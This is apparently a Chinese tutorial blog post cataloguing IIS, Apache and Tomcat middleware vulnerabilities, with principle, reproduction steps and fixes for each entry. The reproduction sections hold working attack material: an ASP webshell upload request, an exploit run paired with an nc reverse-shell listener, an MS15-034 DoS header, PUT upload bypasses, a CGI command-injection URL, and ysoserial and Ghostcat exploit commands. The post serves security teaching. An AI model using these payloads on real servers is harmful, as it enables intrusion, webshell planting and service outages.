简介

中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同
时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

我们经常管web中间件叫做web服务器或者web容器

文章目录

  • 简介
    • 常见的中间件
  • IIS 中间件漏洞
    • iis6.0 PUT上传漏洞
      • 漏洞描述
      • 漏洞复现条件
      • 漏洞复现
      • 漏洞修复
    • iis6.0 解析漏洞
      • 基于文件名的解析漏洞
        • 原理
        • 复现
        • 防御
      • 基于文件夹的解析漏洞
        • 原理
        • 复现
        • 防御
    • IIS短文件漏洞
      • 简介
      • 原理
      • 复现
        • 手工复现
        • 脚本复现
      • 防御
    • iis RCE-CVE-2017-7269
      • 简介
      • 影响范围
      • 复现
      • 防御
    • iis7文件解析漏洞
      • 原理
      • 复现
      • 防御
    • HTTP.SYS远程代码执行(MS15-034)
      • 影响范围
      • 影响版本
      • 复现
      • 防御
  • Apache 中间件漏洞
    • Apache 未知扩展名解析漏洞
      • 漏洞原理
      • 复现
      • 防御
    • AddHandler导致的解析漏洞
      • 漏洞原理
      • 复现
      • 防御
    • apache 目录遍历漏洞
      • 原理
      • 复现
      • 防御
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
      • 漏洞原理
      • 影响范围
      • 复现
      • 防御
  • Tomcat 中间件漏洞
    • Tomcat 远程代码执行漏洞(CVE-2017-12615)
      • 漏洞描述
      • 漏洞原理
      • 漏洞复现
      • 防御
    • tomcat弱口令&war远程部署
      • 漏洞原理
      • 漏洞复现
      • 防御
    • tomcat 远程代码执行(CVE-2019-0232)
      • 漏洞描述
      • 影响范围
      • 漏洞复现
      • 漏洞修复
    • tomcat反序列化漏洞(cve-2016-8735)
      • 漏洞描述
      • 影响范围
      • 漏洞复现
      • 漏洞修复:
    • Apache Tomcat文件包含漏洞CVE-2020-1938)
      • 漏洞描述
      • 影响版本
      • 漏洞复现
      • 漏洞修复

常见的中间件

iis
apache
tomcat
nginx
jboss
Weblogic
WebSphere

IIS 中间件漏洞

iis6.0 PUT上传漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

利用条件:

  1. iis6.0
  2. 开启WebDAV
  3. 配置了写入权限

版本:IIS 6.0

漏洞复现条件

开启 WebDAV 和写权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DO7W1jj0-1657504049590)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503314170.png)]

漏洞复现

用burpsuite 提交OPTIONS 查看支持的协议

回显中存在PUT协议说明存在 PUT 上传漏洞

构造数据包,利用漏洞

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25<%eval request("cmd")%>

有时候不能上传 asp 或者 php类型的文件,我们可以查看一下 是否可以利用 MOVE协议进行移动文件并改名来绕过限制

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp

我们使用蚁剑连接一下

漏洞复现成功

漏洞修复

  1. 关闭webdav
  2. 关闭写入权限

iis6.0 解析漏洞

基于文件名的解析漏洞

原理

该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。
iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp

iis6.0->主目录->配置 查看 这几种扩展名都是指向同一个文件
C:\WINDOWS\system32\inetsrv\asp.dll 所以都解析成asp

复现

通过文件上传,或者创建文件,格式为*.asp;.jpg

防御

  1. 禁止创建和上传此类畸形文件
  2. 图片存放目录设置成禁止脚本文件执行
  3. 升级iis版本

基于文件夹的解析漏洞

原理

iis6.0版本默认将 *.asp/ 目录下的所有文件当成Asp解析。

复现

创建文件.asp文件夹 上传图片格式后门到此目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2lVbYFgT-1657504049595)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503460872.png)]

防御

  1. 禁止创建此类文件夹
  2. 升级iis版本

IIS短文件漏洞

简介

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功

复现

IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过
OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

短文件名特征:

  • 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

  • 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

  • 所有小写字母均转换成大写的字母
    长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

  • 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

使用payload验证目标是否存在IIS短文件名漏洞,下图显示的404,说明目标存在该短文件名
注:* 可以匹配n个字符, n可以为0

http://upload.moonteam.com/*~1*/a.aspx

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在

http://upload.moonteam.com/zzzz*~1*/a.aspx

通过浏览器访问上面两个payload,根据返回的结果,可以说明目标存在IIS短文件漏洞

下面附上一份 iis 全版本报错列表

手工复现

在网站目录下新建一个 abcde1231111.txt文件,分别访问

http://upload.moonteam.com/a*~1*/a.aspx

http://upload.moonteam.com/b*~1*/a.aspx

通过两次的提交确认了a的状态码是404 b的状态码是400 所以存在a文件开头的短文件。

通过上面的方法接着往后猜

http://upload.moonteam.com/abcde*~1*/a.aspx

到这文件名已经出来了,接着就是判断是目录还是文件。

http://upload.moonteam.com/abcde*~1/a.aspx

判断是文件 按照a-z进行测试 404表示存在 400表示不存在 第一个字符不是a开头的文件

http://upload.moonteam.com/abcde*~1.a*/a.aspx

第一个是字符是t开头的,接着往后测试

http://upload.moonteam.com/abcde*~1.t*/a.aspx

http://upload.moonteam.com/abcde*~1.txt*/a.aspx

按照上面的方法依次猜解得到该短文件名的后缀是txt 短文件名为 abcde~1.txt 可以接着猜解
abcde1231111.txt文件名

脚本复现

github 项目地址

https://github.com/shelldownow/python3-iis_shortname_Scan-.git

使用IIS短文件名扫描软件,获取目标存在哪些短文件名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKztcdGC-1657504049597)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503531987.png)]

防御

  • 升级.net framework
  • 修改注册表键值:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
    修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。
  • 命令行关闭 fsutil behavior set disable8dot3 1

新建文件 aaaaaaaaaaaaaazzzzz.txt 已经没有短文件名了。

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消
失。如果不重新复制,已经存在的短文件名则是不会消失的。
将web文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名c:\ww到
c:\www。

iis RCE-CVE-2017-7269

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

使用网上现存的exp,github 地址如下

https://github.com/shelldownow/python3-iis_shortname_Scan-.git

python2 iis 192.168.0.115 80 192.168.0.154 9999nc -lvnp 9999

防御

  1. 关闭 WebDav服务
  2. 升级
  3. 部署安全设备

iis7文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png
解析为php文件

复现

上传图片到网站允许目录 在图片上加上 /.php

防御

  1. 配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
  2. 编辑映射模块->映射->打勾

HTTP.SYS远程代码执行(MS15-034)

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server
2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

访问网站

编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested
Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

poc 地址: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

可以看到服务器已经挂掉了

这个漏洞多用于DDOS攻击

防御

  • 安装修复补丁(KB3042553)

Apache 中间件漏洞

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。

apache目录结构

bin:存放常用命令工具,如httpd
cgi-bin:存放linux下常用命令,如xxx.sh
error:错误记录
htdocs:网站源码
icons:网站图标
manual:手册
modules:扩展模块

Apache 未知扩展名解析漏洞

漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。

复现

漏洞原理比较简单,意思就是在解析的时候如果遇到认不到的后缀名我就继续像前面解析直到遇到 .php 就解析成php文件

使用kali来进行复现

sudo service apache2 restart
cd /etc/apache2/mods-enabled
sudo vim php8.1.conf# 向网站路径写入文件
echo "<?php phpinfo();?>" > /var/www/html/phpinfo.php.xxx# 重启apache服务
sudo service apache2 restart

修改配置文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XVcjcLWT-1657504049602)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503746563.png)]

访问 phpinfo.php.xxx

防御

解决方案一

在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

解决方案二

如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞

漏洞原理

  • apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后往前解析,直到遇到认识的扩展名为止
  • 如果都不认识将会暴露源码。在apache配置不当的时候就会造成apache解析漏洞。

复现

在httpd.conf 把下面代码注释去掉,后缀是存在.php .phtml都会解析成php文件

AddType application/x-httpd-php .php .phtml

防御

  • 1.在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  • 2.把配置不当的文件进行修改

apache 目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文 件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

修改配置文件 httpd.conf 中的内容

DocumentRoot "C:\phpStudy\WWW"
<Directory />Options +Indexes +FollowSymLinks +ExecCGIAllowOverride AllOrder allow,denyAllow from allRequire all granted
</Directory>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ddrZpGnl-1657504049603)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503778523.png)]

防御

在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes +FollowSymLinks + ExecCGI并保存(吧+修改为-)

+ Indexes 允许目录浏览
— Indexes 禁止目录浏览

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIMdukOg-1657504049604)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503813594.png)]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

漏洞原理

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

可以看到这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES[‘file’][‘name’] 获取文件名的话,会把\x0a自动去除,所以 $_FILES[‘file’][‘name’] 这种方式获取文件名就不会造成这个漏洞

影响范围

apache :2.4.0~2.4.29版本

复现

我们可以构造表单来利用漏洞

<html><head><meta charset="utf-8"></head><body><form action="http://192.168.150.152:55634" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="text" name="name" <br><input type="submit" name="submit" value="提交"></form></body></html>
0x0d \r CR这三者代表是回车,是同一个东西,回车的作用只是移动光标至该行的起始位置
0x0a \n CL这三者代表换行,是同一个东西,换行至下一行行首起始位置;

抓包进行修改

访问 http://192.168.150.152:55634/shell.php%0a 进行漏洞验证

防御

  1. 升级到最新版本
  2. 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行

Tomcat 中间件漏洞

tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。

Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

目录介绍

|-- webapp               # 站点根目录|-- META-INF             # META-INF 目录|  `-- MANIFEST.MF     # 配置清单文件|-- WEB-INF            # WEB-INF 目录|  |-- classes          # class文件目录|  |  |-- *.class      # 程序需要的 class 文件|  |  `-- *.xml          # 程序需要的 xml 文件|  |-- lib            # 库文件夹|  |  `-- *.jar          # 程序需要的 jar 包|  `-- web.xml            # Web应用程序的部署描述文件|-- <userdir>             # 自定义的目录|-- <userfiles>        # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

   <init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

下面我们使用冰蝎来作为webshell管理工具,下面是冰蝎 Github 下载地址:

https://github.com/rebeyond/Behinder/releases

漏洞复现

使用burp抓包进行修改

支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过

PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

利用冰蝎进行连接,这里我的冰蝎有点问题于是我又上传了一个蚁剑的马

防御

  • 设置 readonly为true

tomcat弱口令&war远程部署

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令,使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。

漏洞复现

上传war压缩包部署项目

使用蚁剑进行连接

防御

  • 设置强口令 conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager-gui,manager-
script,manager-jmx,manager-status,admin-gui,admin-script" />
  • 删除manger文件

tomcat 远程代码执行(CVE-2019-0232)

漏洞描述

Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件:

  1. 系统为Windows
  2. 启用了CGI Servlet(默认为关闭)
  3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

搭建tomcat后修改web.xml

Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,如下:

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping><servlet-name>cgi</servlet-name><url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>

然后修改在conf/context.xml中的添加privileged="true"语句

<Context privileged="true"><!-- Default set of monitored resources. If one of these changes, the  --><!-- web application will be reloaded.                  --><WatchedResource>WEB-INF/web.xml</WatchedResource><WatchedResource>${catalina.base}/conf/web.xml</WatchedResource><!-- Uncomment this to disable session persistence across Tomcat restarts --
><!--<Manager pathname="" />-->
</Context>

在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%

使用以下语句进行测试

http://192.168.0.136:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

漏洞修复

受影响版本的用户应该应用下列其中一项缓解。升级到:

Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本

tomcat反序列化漏洞(cve-2016-8735)

漏洞描述

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致 的远程代码执行。该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

影响范围

漏洞影响版本:

ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47

漏洞复现

利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执
行。
conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口:
修改bin\catalina.bat
在Execute The Requested Comman上面添加

-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证

允许 startup.bat tomcat 查看端口

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -
Dcom.sun.management.jmxremote.authenticate=false

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fhN49pxO-1657504049609)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1657503961366.png)]
执行命令
执行弹窗计算器

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001
Groovy1 "calc.exe"

漏洞修复:

  1. 关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。
  2. 根据官方去升级更新相对应的版本。

Apache Tomcat文件包含漏洞CVE-2020-1938)

漏洞描述

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

影响版本

Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

--><Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" /><!-- A "Connector" using the shared thread pool--><Connector executor="tomcatThreadPool"port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 --><Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。

使用攻击payload执行即可

exp github地址:https://github.com/xindongzhuaizhuai/CVE-2020-1938

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168

漏洞修复

  • 更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
  • 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
  • 配置ajp配置中的secretRequired跟secret属性来限制认证

IIS Nginx Apache Tomcat 中间件漏洞相关推荐

  1. Apache Tomcat 拒绝服务漏洞通告

    作者 | 360CERT 来源 | https://www.oschina.net/news/164556 报告编号:B6-2021-101501 报告来源:360CERT 报告作者:360CERT ...

  2. java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析

    本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484 Apache Tomcat反序列化漏洞. 01漏洞概述 这次是因为错误配置和org.apache.catalin ...

  3. Apache Tomcat安全漏洞列表及整改建议合集

    描述: 安全整改目前已经成为安全运维工程师必备的技能之一,但是令人头疼的是,经常会应为一些整改问题,百度无数次,并且不知道标准是什么.下面就为大家总结了在近期web漏洞整改中,绿盟给出的漏洞报告及整改 ...

  4. (二)内网渗透之tomcat中间件漏洞

    使用端口扫描.漏洞扫描验证扫描目标开放的端口,在对应端口上开放的服务,运行该服务的软件和版本号. 如果只是使用端口扫描,只是发现开放的端口,接着使用 nc .nmap可以获取端口上服务的 banner ...

  5. 常见服务器解析漏洞(IIS,Nginx,Apache)

    一.IIS6.0 目录解析:/xx.asp/xx.jpg xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码 IIS6.0 会将 xx.jpg 解析为 asp 文件. 后 ...

  6. tomcat中间件的默认端口号_等保2.0涉及的Apache Tomcat中间件(下)

    一.访问控制 首先这里的访问控制要求,就是针对tomcat管理控制台中的用户权限,即Tomcat Manager,它是Tomcat自带的,用于对Tomcat自身以及部署在Tomcat上的应用进行管理的 ...

  7. Nginx/Apache/Tomcat记录屏蔽真实IP

    记录客户端真实IP #Nginx示例 log_format  upstream  '$time_iso8601 $http_x_forwarded_for $host $upstream_respon ...

  8. nginx,apache,tomcat的区别

    nginx与apache 这里说的apche指apache http server ,与nginx都属于http服务器软件,主要处理静态资源. http server关心的是http协议层面的传输和访 ...

  9. 在window 2008 server r2 64位 IIS上配置 apache tomcat 8.0

    今天又需要在公司的服务器上面配置IIS和apache tomcat 共享80端口,在这里记录一下配置过程 1:下载 apache-tomcat-8.0.27-windows-x64.zip ,解压到想 ...

最新文章

  1. 2018-2019年新一代AI领域十大最具成长性技术展望
  2. 通过a标签在页面上显示视频网站中的视频
  3. 皮一皮:碰上一个说倒装句的直男怎么办...
  4. python怎么读excel文件-python 读取excel文件
  5. 在UltraWebGrid单元格中绑定dropdownlist
  6. mongodb php代码实例,MongoDB文档的更新(php代码实例)
  7. how is SAP CDS view SADL load generated
  8. 微软正在用实际行动告诉你: 拥抱开源,微软是认真的
  9. 虚数填补了数学的那一个缺口?
  10. 刚刚,Python内幕被爆出!老码农:没控制住,心态已崩!
  11. LY.JAVA面向对象编程.形式参数和返回值
  12. python实现以及所有排序大总结【转】
  13. Java集合Collection接口中的常用方法演示
  14. python 微信数据_python 处理微信对账单数据的实例代码
  15. 1040. Airline Company
  16. 11款实用的一句话网站设计代码
  17. 分布式团队中沟通引发的问题, itest 解决之道
  18. 使用js调用摄像头拍照
  19. Inventor Pro v2008
  20. 用于HTML5移动开发的10大移动APP开发框架

热门文章

  1. 计蒜客题解——T1769:最大岛屿
  2. 埃森哲杯第十六届上海大学程序设计联赛春季赛暨上海高校金马五校赛B合约数
  3. php xdebug remote_host 多个,卓象程序员:PHPStudy PHPStorm XDebug调试
  4. matlab 水平投影,matlab图像处理方面的问题。水平投影和垂直投影!
  5. 3.24 使用海绵工具制作变异的白虎 [原创Ps教程]
  6. Network boot from AMD Am79C970A
  7. (读书笔记)大数据分析计算机基础
  8. ICMP详解和实例分析
  9. 定义一个判断素数的函数
  10. 2022暑假强化学习记录